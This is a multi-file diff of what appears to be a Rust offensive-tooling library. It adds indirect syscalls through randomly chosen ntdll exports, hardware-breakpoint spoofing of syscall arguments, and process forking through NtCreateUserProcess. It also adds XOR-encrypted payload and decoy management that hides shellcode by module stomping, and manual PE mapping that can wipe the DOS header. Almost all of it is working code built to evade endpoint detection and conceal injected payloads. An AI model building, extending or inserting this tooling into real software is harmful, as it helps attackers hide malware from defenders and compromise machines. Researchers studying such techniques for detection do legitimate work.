@@ -74,43 +74,11 @@ pub fn set_hardware_breakpoint(address: usize)
|
||||
}
|
||||
}
|
||||
|
||||
/// Retrieves the memory address of a syscall instruction.
|
||||
///
|
||||
/// It expects the memory address of the function as a parameter, and
|
||||
/// it will iterate over each following byte until it finds the value 0x0F05.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```
|
||||
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
|
||||
/// let nt_open_process = dinvoke::get_function_address(ntdll, "NtOpenProcess");
|
||||
/// let syscall_addr = dinvoke::find_syscall_address(nt_open_process);
|
||||
/// ```
|
||||
pub fn find_syscall_address(address: usize) -> usize
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let stub: [u8;2] = [ 0x0F, 0x05 ];
|
||||
let mut ptr:*mut u8 = address as *mut u8;
|
||||
for _i in 0..23
|
||||
{
|
||||
if *(ptr.add(1)) == stub[0] && *(ptr.add(2)) == stub[1]
|
||||
{
|
||||
return ptr.add(1) as usize;
|
||||
}
|
||||
|
||||
ptr = ptr.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
0usize
|
||||
}
|
||||
|
||||
/// This function acts as an Exception Handler, and should be combined with a hardware breakpoint.
|
||||
///
|
||||
/// Whenever the HB gets triggered, this function will be executed. This is meant to be used in order
|
||||
/// to spoof syscalls parameters.
|
||||
pub unsafe extern "system" fn breakpoint_handler (exceptioninfo: *mut EXCEPTION_POINTERS) -> i32
|
||||
pub unsafe extern "system" fn breakpoint_handler (exceptioninfo: *mut ExceptionPointers) -> i32
|
||||
{
|
||||
if (*(*(exceptioninfo)).exception_record).ExceptionCode.0 as u32 == 0x80000004 // STATUS_SINGLE_STEP
|
||||
{
|
||||
@@ -157,7 +125,6 @@ pub unsafe extern "system" fn breakpoint_handler (exceptioninfo: *mut EXCEPTION_
|
||||
(*(*exceptioninfo).context_record).R8 = std::mem::transmute(NT_CREATE_THREAD_EX_ARGS.attributes);
|
||||
(*(*exceptioninfo).context_record).R9 = NT_CREATE_THREAD_EX_ARGS.process.0 as u64;
|
||||
}
|
||||
_ => (*(*exceptioninfo).context_record).Rip += 1
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -519,7 +486,7 @@ pub fn get_ntdll_eat(module_base_address: isize) -> EAT {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let mut eat:EAT = EAT::default();
|
||||
let mut eat: EAT = EAT::default();
|
||||
|
||||
let mut function_ptr:*mut i32;
|
||||
let pe_header = *((module_base_address + 0x3C) as *mut i32);
|
||||
@@ -594,7 +561,7 @@ pub fn get_ntdll_eat(module_base_address: isize) -> EAT {
|
||||
/// }
|
||||
/// }
|
||||
/// ```
|
||||
pub fn get_syscall_id(eat: &EAT, function_name: &str) -> i32 {
|
||||
pub fn get_syscall_id(eat: &EAT, function_name: &str) -> u32 {
|
||||
|
||||
let mut i = 0;
|
||||
for (_a,b) in eat.iter()
|
||||
@@ -607,7 +574,42 @@ pub fn get_syscall_id(eat: &EAT, function_name: &str) -> i32 {
|
||||
i = i + 1;
|
||||
}
|
||||
|
||||
-1
|
||||
u32::MAX
|
||||
}
|
||||
|
||||
/// Retrieves the memory address of a syscall instruction.
|
||||
///
|
||||
/// It expects the memory address of the function as a parameter, and
|
||||
/// it will iterate over each following byte until it finds the value 0x0F05.
|
||||
///
|
||||
/// It will return either the memory address of the syscall instruction or zero in case that it
|
||||
/// wasn't found.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```
|
||||
/// let ntdll = dinvoke::get_module_base_address("ntdll.dll");
|
||||
/// let nt_open_process = dinvoke::get_function_address(ntdll, "NtOpenProcess");
|
||||
/// let syscall_addr = dinvoke::find_syscall_address(nt_open_process);
|
||||
/// ```
|
||||
pub fn find_syscall_address(address: usize) -> usize
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let stub: [u8;2] = [ 0x0F, 0x05 ];
|
||||
let mut ptr:*mut u8 = address as *mut u8;
|
||||
for _i in 0..23
|
||||
{
|
||||
if *(ptr.add(1)) == stub[0] && *(ptr.add(2)) == stub[1]
|
||||
{
|
||||
return ptr.add(1) as usize;
|
||||
}
|
||||
|
||||
ptr = ptr.add(1);
|
||||
}
|
||||
}
|
||||
|
||||
0usize
|
||||
}
|
||||
|
||||
/// Given a valid syscall id, it will allocate the required shellcode to execute
|
||||
@@ -645,6 +647,11 @@ pub fn prepare_syscall(id: u32, eat: EAT) -> isize {
|
||||
|
||||
unsafe
|
||||
{
|
||||
if id == u32::MAX
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
let mut ptr: *mut u8 = std::mem::transmute(&id);
|
||||
|
||||
for i in 0..4
|
||||
@@ -653,27 +660,54 @@ pub fn prepare_syscall(id: u32, eat: EAT) -> isize {
|
||||
ptr = ptr.add(1);
|
||||
}
|
||||
|
||||
let max_range = eat.len();
|
||||
let mut rng = rand::thread_rng();
|
||||
let mut function = &"".to_string();
|
||||
for s in eat.values()
|
||||
{
|
||||
let index = rng.gen_range(0..max_range);
|
||||
if index < max_range / 10
|
||||
{
|
||||
function = s;
|
||||
}
|
||||
}
|
||||
|
||||
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
|
||||
let mut function_addr = get_function_address(ntdll, function);
|
||||
let export = eat.iter().skip(id as usize).next().unwrap();
|
||||
let mut function_addr = get_function_address(ntdll, export.1);
|
||||
|
||||
if function_addr == 0
|
||||
{
|
||||
function_addr = get_function_address_by_ordinal(ntdll, id);
|
||||
return 0;
|
||||
}
|
||||
|
||||
let mut syscall_addr = find_syscall_address(function_addr as usize);
|
||||
if syscall_addr == 0
|
||||
{
|
||||
let max_range = eat.len();
|
||||
let mut function = &"".to_string();
|
||||
let mut rng = WyRand::new();
|
||||
for _ in 0..5
|
||||
{
|
||||
for s in eat.values()
|
||||
{
|
||||
let index = rng.generate_range(0_usize..=max_range) as usize;
|
||||
|
||||
if index < max_range / 5
|
||||
{
|
||||
function = s;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function_addr = get_function_address(ntdll, function);
|
||||
|
||||
if function_addr == 0
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
syscall_addr = find_syscall_address(function_addr as usize);
|
||||
if syscall_addr != 0
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if syscall_addr == 0
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
let syscall_addr = find_syscall_address(function_addr as usize);
|
||||
let mut syscall_ptr: *mut u8 = std::mem::transmute(&syscall_addr);
|
||||
|
||||
for j in 0..8
|
||||
@@ -686,7 +720,7 @@ pub fn prepare_syscall(id: u32, eat: EAT) -> isize {
|
||||
let b = usize::default();
|
||||
let base_address: *mut PVOID = std::mem::transmute(&b);
|
||||
let nsize: usize = sh.len() as usize;
|
||||
let s = nsize + 1;
|
||||
let s = nsize;
|
||||
let size: *mut usize = std::mem::transmute(&s);
|
||||
let o = u32::default();
|
||||
let old_protection: *mut u32 = std::mem::transmute(&o);
|
||||
@@ -792,6 +826,41 @@ pub fn get_function_address_by_ordinal(module_base_address: isize, ordinal: u32)
|
||||
ret
|
||||
}
|
||||
|
||||
/// Call NtCreateUserProcess to fork the current process.
|
||||
/// Inheritable objects are inherited by the child process (PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT).
|
||||
///
|
||||
/// The function returns an NTSTATUS.
|
||||
pub fn fork() -> i32
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let process_handle = HANDLE::default();
|
||||
let thread_handle = HANDLE::default();
|
||||
let process_handle: *mut HANDLE = std::mem::transmute(&process_handle);
|
||||
let thread_handle: *mut HANDLE = std::mem::transmute(&thread_handle);
|
||||
let mut create_info: PsCreateInfo = std::mem::zeroed();
|
||||
create_info.size = size_of::<PsCreateInfo>();
|
||||
let ps_create_info: *mut PsCreateInfo = std::mem::transmute(&create_info);
|
||||
|
||||
let ret = nt_create_user_process(
|
||||
process_handle, // NULL
|
||||
thread_handle, // NULL
|
||||
(0x000F0000) | (0x00100000) | 0xFFFF, //PROCESS_ALL_ACCESS
|
||||
(0x000F0000) | (0x00100000) | 0xFFFF, //THREAD_ALL_ACCESS
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
0x00000004, //PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT
|
||||
0,
|
||||
ptr::null_mut(),
|
||||
ps_create_info, // Default PS_CREATE_INFO struct
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
ret
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// Retrieves the address of an exported function from the specified module either by its name
|
||||
/// or by its ordinal number.
|
||||
///
|
||||
@@ -873,6 +942,23 @@ pub fn set_unhandled_exception_filter(address: usize) -> LptopLevelExceptionFilt
|
||||
}
|
||||
}
|
||||
|
||||
/// Dynamically calls AddVectoredExceptionHandler.
|
||||
pub fn add_vectored_exception_handler(first: u32, address: usize) -> PVOID
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let ret: Option<PVOID>;
|
||||
let func_ptr: data::AddVectoredExceptionHandler;
|
||||
let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
|
||||
dynamic_invoke!(module_base_address,&lc!("AddVectoredExceptionHandler"),func_ptr,ret,first,address);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x,
|
||||
None => return ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Loads and retrieves a module's base address by dynamically calling LoadLibraryA.
|
||||
///
|
||||
/// It will return either the module's base address or 0.
|
||||
@@ -1049,6 +1135,22 @@ pub fn tls_set_value(index: u32, data: PVOID) -> bool
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_module_handle_ex_a(flags: i32, module_name: *const u8, module: *mut usize) -> bool
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let ret: Option<bool>;
|
||||
let func_ptr: data::GetModuleHandleExA;
|
||||
let module_base_address = get_module_base_address(&lc!("kernel32.dll"));
|
||||
dynamic_invoke!(module_base_address,&lc!("GetModuleHandleExA"),func_ptr,ret,flags,module_name,module);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x,
|
||||
None => return false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_last_error() -> u32
|
||||
{
|
||||
unsafe
|
||||
@@ -1103,6 +1205,8 @@ pub fn virtual_query_ex(process_handle: HANDLE, page_address: *const c_void, buf
|
||||
let ret: Option<usize>;
|
||||
let func_ptr: data::VirtualQueryEx;
|
||||
let kernel32 = get_module_base_address(&lc!("kernel32.dll"));
|
||||
let f = get_function_address(kernel32, "VirtualQueryEx");
|
||||
println!("f: {:x}", f);
|
||||
dynamic_invoke!(kernel32,&lc!("VirtualQueryEx"),func_ptr,ret,process_handle,page_address,buffer,length);
|
||||
|
||||
match ret {
|
||||
@@ -1131,6 +1235,24 @@ pub fn virtual_free(address: PVOID, size: usize, free_type: u32) -> bool {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn nt_create_user_process(process_handle: *mut HANDLE, thread_handle: *mut HANDLE, process_access: u32, thread_access: u32, object_attributes: *mut OBJECT_ATTRIBUTES,
|
||||
thread_object_attr: *mut OBJECT_ATTRIBUTES, process_flags: u32, thread_flags: u32, parameters: PVOID, create_info: *mut PsCreateInfo, attr_list: *mut PsAttributeList) -> i32 {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let ret: Option<i32>;
|
||||
let func_ptr: data::NtCreateUserProcess;
|
||||
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
|
||||
dynamic_invoke!(ntdll,&lc!("NtCreateUserProcess"),func_ptr,ret,process_handle,thread_handle,process_access,thread_access,object_attributes,thread_object_attr,
|
||||
process_flags,thread_flags,parameters,create_info,attr_list);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x,
|
||||
None => return -1,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Dynamically calls NtWriteVirtualMemory.
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
@@ -1240,7 +1362,7 @@ pub fn nt_protect_virtual_memory (mut handle: HANDLE, mut base_address: *mut PVO
|
||||
/// Dynamically calls NtOpenProcess.
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
pub fn nt_open_process (mut handle: *mut HANDLE, mut access: u32, mut attributes: *mut OBJECT_ATTRIBUTES, mut client_id: *mut CLIENT_ID) -> i32 {
|
||||
pub fn nt_open_process (mut handle: *mut HANDLE, mut access: u32, mut attributes: *mut OBJECT_ATTRIBUTES, mut client_id: *mut ClientId) -> i32 {
|
||||
|
||||
unsafe
|
||||
{
|
||||
@@ -1263,7 +1385,7 @@ pub fn nt_open_process (mut handle: *mut HANDLE, mut access: u32, mut attributes
|
||||
access = PROCESS_QUERY_LIMITED_INFORMATION;
|
||||
let a = OBJECT_ATTRIBUTES::default();
|
||||
attributes = std::mem::transmute(&a);
|
||||
let c = CLIENT_ID {unique_process: HANDLE {0: std::process::id() as isize}, unique_thread: HANDLE::default()};
|
||||
let c = ClientId {unique_process: HANDLE {0: std::process::id() as isize}, unique_thread: HANDLE::default()};
|
||||
client_id = std::mem::transmute(&c);
|
||||
}
|
||||
|
||||
@@ -1296,6 +1418,25 @@ pub fn nt_query_information_process (handle: HANDLE, process_information_class:
|
||||
}
|
||||
}
|
||||
|
||||
/// Dynamically calls NtQueryInformationThread.
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
pub fn nt_query_information_thread (handle: HANDLE, thread_information_class: u32, thread_information: PVOID, length: u32, return_length: *mut u32) -> i32 {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let ret;
|
||||
let func_ptr: data::NtQueryInformationThread;
|
||||
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
|
||||
dynamic_invoke!(ntdll,&lc!("NtQueryInformationThread"),func_ptr,ret,handle,thread_information_class,thread_information,length,return_length);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x,
|
||||
None => return -1,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Dynamically calls RtlAdjustPrivilege.
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
@@ -1409,7 +1550,7 @@ pub fn nt_map_view_of_section (section_handle: HANDLE, process_handle: HANDLE, b
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
pub fn nt_create_thread_ex (mut thread: *mut HANDLE, mut access: u32, mut attributes: *mut OBJECT_ATTRIBUTES, mut process: HANDLE, function: PVOID,
|
||||
args: PVOID, flags: u32, zero: usize, stack: usize, reserve: usize, buffer: *mut PS_ATTRIBUTE_LIST) -> i32
|
||||
args: PVOID, flags: u32, zero: usize, stack: usize, reserve: usize, buffer: *mut PsAttributeList) -> i32
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
@@ -1444,6 +1585,27 @@ pub fn nt_create_thread_ex (mut thread: *mut HANDLE, mut access: u32, mut attrib
|
||||
}
|
||||
}
|
||||
|
||||
/// Dynamically calls NtReadVirtualMemory.
|
||||
///
|
||||
/// It will return the NTSTATUS value returned by the call.
|
||||
pub fn nt_read_virtual_memory (handle: HANDLE, base_address: PVOID, buffer: PVOID, size: usize, bytes_written: *mut usize) -> i32 {
|
||||
|
||||
unsafe
|
||||
{
|
||||
let ret;
|
||||
let func_ptr: data::NtReadVirtualMemory;
|
||||
let ntdll = get_module_base_address(&lc!("ntdll.dll"));
|
||||
dynamic_invoke!(ntdll,&lc!("NtReadVirtualMemory"),func_ptr,ret,handle,base_address,buffer,size,bytes_written);
|
||||
|
||||
match ret {
|
||||
Some(x) => return x,
|
||||
None => return -1,
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/// Dynamically calls an exported function from the specified module.
|
||||
///
|
||||
/// This macro will use the dinvoke crate functions to obtain an exported
|
||||
@@ -1566,7 +1728,7 @@ macro_rules! execute_syscall {
|
||||
|
||||
let eat = $crate::get_ntdll_eat($crate::get_module_base_address("ntdll.dll"));
|
||||
let id = $crate::get_syscall_id(&eat, $a);
|
||||
if id != -1
|
||||
if id != u32::MAX
|
||||
{
|
||||
let function_ptr = $crate::prepare_syscall(id as u32, eat);
|
||||
if function_ptr != 0
|
||||
|
||||
+3
-2
@@ -9,10 +9,11 @@ opt-level = 'z' # Optimize for size.
|
||||
strip = true
|
||||
|
||||
[dependencies]
|
||||
rand = "*"
|
||||
nanorand = "0.7.0"
|
||||
manualmap = { path = "../manualmap" }
|
||||
overload = { path = "../overload" }
|
||||
data = { path = "../data" }
|
||||
litcrypt2 = "0.1.0"
|
||||
litcrypt2 = "0.1.2"
|
||||
dinvoke = { path = "../dinvoke" }
|
||||
|
||||
[dependencies.windows]
|
||||
|
||||
+106
-17
@@ -5,16 +5,16 @@ use_litcrypt!();
|
||||
use std::{collections::HashMap, cell::UnsafeCell};
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use data::{PeMetadata, PVOID, PAGE_READWRITE};
|
||||
use rand::{Rng, distributions::Alphanumeric, thread_rng};
|
||||
use nanorand::{Rng, BufferedRng, WyRand};
|
||||
|
||||
pub struct Manager
|
||||
{
|
||||
payloads: HashMap<i64, Vec<u8>>,
|
||||
payloads_metadata: HashMap<i64, PeMetadata>,
|
||||
decoys_metadata: HashMap<i64, PeMetadata>,
|
||||
decoys: HashMap<i64, Vec<u8>>,
|
||||
counter: HashMap<i64, i64>,
|
||||
keys: HashMap<i64, u8>
|
||||
payloads: HashMap<isize, Vec<u8>>,
|
||||
payloads_metadata: HashMap<isize, PeMetadata>,
|
||||
decoys_metadata: HashMap<isize, PeMetadata>,
|
||||
decoys: HashMap<isize, Vec<u8>>,
|
||||
counter: HashMap<isize, i64>,
|
||||
keys: HashMap<isize, u8>
|
||||
}
|
||||
|
||||
impl Manager {
|
||||
@@ -29,7 +29,7 @@ impl Manager {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn new_module (&mut self, address: i64, payload: Vec<u8>, decoy: Vec<u8>) -> Result<(), String>
|
||||
pub fn new_module (&mut self, address: isize, payload: Vec<u8>, decoy: Vec<u8>) -> Result<(), String>
|
||||
{
|
||||
if self.payloads.contains_key(&address)
|
||||
{
|
||||
@@ -41,12 +41,10 @@ impl Manager {
|
||||
let payload_metadata = manualmap::get_pe_metadata(payload.as_ptr())?;
|
||||
let decoy_metadata = manualmap::get_pe_metadata(decoy.as_ptr())?;
|
||||
|
||||
let rand_string: String = thread_rng()
|
||||
.sample_iter(&Alphanumeric)
|
||||
.take(15)
|
||||
.map(char::from)
|
||||
.collect();
|
||||
let mut key_ptr = rand_string.as_ptr();
|
||||
let mut rand_bytes = [0u8; 15];
|
||||
let mut rng = BufferedRng::new(WyRand::new());
|
||||
rng.fill(&mut rand_bytes);
|
||||
let mut key_ptr = rand_bytes.as_ptr();
|
||||
|
||||
let mut xor_key: u8 = *key_ptr;
|
||||
key_ptr = key_ptr.add(1);
|
||||
@@ -66,7 +64,44 @@ impl Manager {
|
||||
self.counter.insert(address, 1);
|
||||
self.keys.insert(address, xor_key);
|
||||
|
||||
Manager::hide(self, address)?;
|
||||
Manager::hide_module(self, address)?;
|
||||
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn new_shellcode (&mut self, address: isize, payload: Vec<u8>, decoy: Vec<u8>) -> Result<(), String>
|
||||
{
|
||||
if self.payloads.contains_key(&address)
|
||||
{
|
||||
return Err(lc!("[x] This shellcode is already mapped."));
|
||||
}
|
||||
|
||||
unsafe
|
||||
{
|
||||
let mut rand_bytes = [0u8; 15];
|
||||
let mut rng = BufferedRng::new(WyRand::new());
|
||||
rng.fill(&mut rand_bytes);
|
||||
let mut key_ptr = rand_bytes.as_ptr();
|
||||
|
||||
let mut xor_key: u8 = *key_ptr;
|
||||
key_ptr = key_ptr.add(1);
|
||||
while *key_ptr != '\0' as u8
|
||||
{
|
||||
xor_key = xor_key ^ *key_ptr;
|
||||
key_ptr = key_ptr.add(1);
|
||||
}
|
||||
|
||||
let xored_payload = Manager::xor_module(payload, xor_key);
|
||||
let xored_decoy = Manager::xor_module(decoy, xor_key);
|
||||
|
||||
self.payloads.insert(address, xored_payload);
|
||||
self.decoys.insert(address, xored_decoy);
|
||||
self.counter.insert(address, 1);
|
||||
self.keys.insert(address, xor_key);
|
||||
|
||||
Manager::hide_shellcode(self, address)?;
|
||||
|
||||
}
|
||||
|
||||
@@ -90,7 +125,7 @@ impl Manager {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn map_module (&mut self, address: i64) -> Result<(),String>
|
||||
pub fn map_module (&mut self, address: isize) -> Result<(),String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
@@ -142,7 +177,7 @@ impl Manager {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn hide (&mut self, address: i64) -> Result<(),String>
|
||||
pub fn hide_module(&mut self, address: isize) -> Result<(),String>
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
@@ -195,4 +230,58 @@ impl Manager {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn hide_shellcode(&mut self, address: isize) -> Result<(),String>
|
||||
{
|
||||
if self.payloads.contains_key(&address)
|
||||
{
|
||||
if self.counter.get(&address).unwrap() == &1
|
||||
{
|
||||
let decoy = self.decoys.get(&address).unwrap();
|
||||
let key = *self.keys.get(&address).unwrap();
|
||||
let decrypted_decoy = Manager::xor_module(decoy.to_vec(), key);
|
||||
let result = overload::managed_module_stomping(&decrypted_decoy, address, 0);
|
||||
|
||||
if !result.is_ok()
|
||||
{
|
||||
return Err(lc!("[x] Error hiding shellcode."));
|
||||
}
|
||||
}
|
||||
|
||||
if self.counter.get(&address).unwrap() >= &1
|
||||
{
|
||||
self.counter.insert(address, self.counter[&address] - 1);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
}
|
||||
|
||||
pub fn stomp_shellcode (&mut self, address: isize) -> Result<(),String>
|
||||
{
|
||||
if self.payloads.contains_key(&address)
|
||||
{
|
||||
if self.counter.get(&address).unwrap() == &0
|
||||
{
|
||||
let payload = self.payloads.get(&address).unwrap();
|
||||
let key = *self.keys.get(&address).unwrap();
|
||||
let decrypted_payload = Manager::xor_module(payload.to_vec(), key);
|
||||
let result = overload::managed_module_stomping(&decrypted_payload, address, 0);
|
||||
|
||||
if !result.is_ok()
|
||||
{
|
||||
return Err(lc!("[x] Error stomping shellcode."));
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
self.counter.insert(address, self.counter[&address] + 1);
|
||||
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -10,9 +10,9 @@ strip = true
|
||||
[dependencies]
|
||||
dinvoke = { path = "../dinvoke" }
|
||||
data = { path = "../data" }
|
||||
litcrypt2 = "0.1.0"
|
||||
litcrypt2 = "0.1.2"
|
||||
os_info = { version = "3.0", default-features = false }
|
||||
winapi = "*"
|
||||
winapi = "0.3.9"
|
||||
|
||||
[dependencies.windows]
|
||||
version = "0.51"
|
||||
|
||||
+56
-26
@@ -19,7 +19,7 @@ use windows::Win32::{
|
||||
};
|
||||
use windows::Wdk::Foundation::OBJECT_ATTRIBUTES;
|
||||
|
||||
use data::{IMAGE_FILE_HEADER, IMAGE_OPTIONAL_HEADER64, MEM_COMMIT, MEM_RESERVE,
|
||||
use data::{ImageFileHeader, ImageOptionalHeader64, MEM_COMMIT, MEM_RESERVE,
|
||||
PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READONLY, PAGE_READWRITE, PVOID, PeMetadata, SECTION_MEM_EXECUTE,
|
||||
SECTION_MEM_READ, SECTION_MEM_WRITE, FILE_EXECUTE, FILE_READ_ATTRIBUTES, SYNCHRONIZE, FILE_READ_DATA, FILE_SHARE_READ, FILE_SHARE_DELETE,
|
||||
FILE_SYNCHRONOUS_IO_NONALERT, FILE_NON_DIRECTORY_FILE, SECTION_ALL_ACCESS, SEC_IMAGE, PeManualMap};
|
||||
@@ -29,30 +29,37 @@ use litcrypt2::lc;
|
||||
|
||||
/// Manually maps a PE from disk to the memory of the current process.
|
||||
///
|
||||
/// If the clean_headers parameters is set to true, the mapped pe's dos header will be removed during the
|
||||
/// mapping process. Otherwise, the dos header will be kept untouched.
|
||||
///
|
||||
/// It will return either a pair (PeMetadata,isize) containing the mapped PE
|
||||
/// metadata and its base address or a String with a descriptive error message.
|
||||
///
|
||||
/// # Examples
|
||||
///
|
||||
/// ```
|
||||
/// let ntdll = manualmap::read_and_map_module("c:\\windows\\system32\\ntdll.dll");
|
||||
/// let ntdll = manualmap::read_and_map_module("c:\\windows\\system32\\ntdll.dll", true);
|
||||
///
|
||||
/// match ntdll {
|
||||
/// Ok(x) => if x.1 != 0 {println!("The base address of ntdll.dll is 0x{:X}.", x.1);},
|
||||
/// Err(e) => println!("{}", e),
|
||||
/// }
|
||||
/// ```
|
||||
pub fn read_and_map_module (filepath: &str) -> Result<(PeMetadata,isize), String>
|
||||
pub fn read_and_map_module (filepath: &str, clean_headers: bool) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
let file_content = fs::read(filepath).expect(&lc!("[x] Error opening the specified file."));
|
||||
let file_content_ptr = file_content.as_ptr();
|
||||
let result = manually_map_module(file_content_ptr)?;
|
||||
|
||||
let result = manually_map_module(file_content_ptr, clean_headers)?;
|
||||
|
||||
Ok(result)
|
||||
}
|
||||
|
||||
/// Manually maps a PE into the current process.
|
||||
///
|
||||
/// If the clean_headers parameters is set to true, the mapped pe's dos header will be removed during the
|
||||
/// mapping process. Otherwise, the dos header will be kept untouched.
|
||||
///
|
||||
/// It will return either a pair (PeMetadata,isize) containing the mapped PE
|
||||
/// metadata and its base address or a String with a descriptive error message.
|
||||
///
|
||||
@@ -63,9 +70,9 @@ pub fn read_and_map_module (filepath: &str) -> Result<(PeMetadata,isize), String
|
||||
///
|
||||
/// let file_content = fs::read("c:\\windows\\system32\\ntdll.dll").expect("[x] Error opening the specified file.");
|
||||
/// let file_content_ptr = file_content.as_ptr();
|
||||
/// let result = manualmap::manually_map_module(file_content_ptr);
|
||||
/// let result = manualmap::manually_map_module(file_content_ptr, true);
|
||||
/// ```
|
||||
pub fn manually_map_module (file_ptr: *const u8) -> Result<(PeMetadata,isize), String>
|
||||
pub fn manually_map_module (file_ptr: *const u8, clean_headers: bool) -> Result<(PeMetadata,isize), String>
|
||||
{
|
||||
let pe_info = get_pe_metadata(file_ptr)?;
|
||||
if (pe_info.is_32_bit && (size_of::<usize>() == 8)) || (!pe_info.is_32_bit && (size_of::<usize>() == 4))
|
||||
@@ -90,8 +97,9 @@ pub fn manually_map_module (file_ptr: *const u8) -> Result<(PeMetadata,isize), S
|
||||
let base_address: *mut PVOID = std::mem::transmute(&a);
|
||||
let zero_bits = 0 as usize;
|
||||
let size: *mut usize = std::mem::transmute(&dwsize);
|
||||
|
||||
let ret = dinvoke::nt_allocate_virtual_memory(handle, base_address, zero_bits, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
|
||||
let _r = dinvoke::close_handle(handle);
|
||||
|
||||
if ret != 0
|
||||
@@ -102,12 +110,15 @@ pub fn manually_map_module (file_ptr: *const u8) -> Result<(PeMetadata,isize), S
|
||||
let image_ptr = *base_address;
|
||||
|
||||
map_module_to_memory(file_ptr, image_ptr, &pe_info)?;
|
||||
|
||||
|
||||
relocate_module(&pe_info, image_ptr);
|
||||
|
||||
rewrite_module_iat(&pe_info, image_ptr)?;
|
||||
|
||||
clean_dos_header(image_ptr);
|
||||
if clean_headers
|
||||
{
|
||||
clean_dos_header(image_ptr);
|
||||
}
|
||||
|
||||
set_module_section_permissions(&pe_info, image_ptr)?;
|
||||
|
||||
@@ -119,6 +130,40 @@ pub fn manually_map_module (file_ptr: *const u8) -> Result<(PeMetadata,isize), S
|
||||
|
||||
}
|
||||
|
||||
/// Returns a pair containing a pointer to the Exception data of an arbitrary module and the size of the
|
||||
/// corresponding PE section (.pdata). In case that it fails to retrieve this information, it returns
|
||||
/// null values.
|
||||
pub fn get_runtime_table(image_ptr: *mut c_void) -> (*mut data::RuntimeFunction, u32)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let mut size: u32 = 0;
|
||||
let module_metadata = get_pe_metadata(image_ptr as *const u8);
|
||||
if !module_metadata.is_ok()
|
||||
{
|
||||
return (ptr::null_mut(), size);
|
||||
}
|
||||
|
||||
let metadata = module_metadata.unwrap();
|
||||
|
||||
let mut runtime: *mut data::RuntimeFunction = ptr::null_mut();
|
||||
for section in &metadata.sections
|
||||
{
|
||||
let s = std::str::from_utf8(§ion.Name).unwrap();
|
||||
if s.contains(".pdata")
|
||||
{
|
||||
let base = image_ptr as isize;
|
||||
runtime = std::mem::transmute(base + section.VirtualAddress as isize);
|
||||
size = section.SizeOfRawData;
|
||||
}
|
||||
}
|
||||
|
||||
return (runtime, size);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/// Retrieves PE headers information from the module base address.
|
||||
///
|
||||
/// It will return either a data::PeMetada struct containing the PE
|
||||
@@ -147,7 +192,7 @@ pub fn get_pe_metadata (module_ptr: *const u8) -> Result<PeMetadata,String>
|
||||
return Err(lc!("[x] Invalid PE signature."));
|
||||
}
|
||||
|
||||
pe_metadata.image_file_header = *((module_ptr as usize + e_lfanew as usize + 0x4) as *mut IMAGE_FILE_HEADER);
|
||||
pe_metadata.image_file_header = *((module_ptr as usize + e_lfanew as usize + 0x4) as *mut ImageFileHeader);
|
||||
|
||||
let opt_header: *const u16 = (module_ptr as usize + e_lfanew as usize + 0x18) as *const u16;
|
||||
let pe_arch = *(opt_header);
|
||||
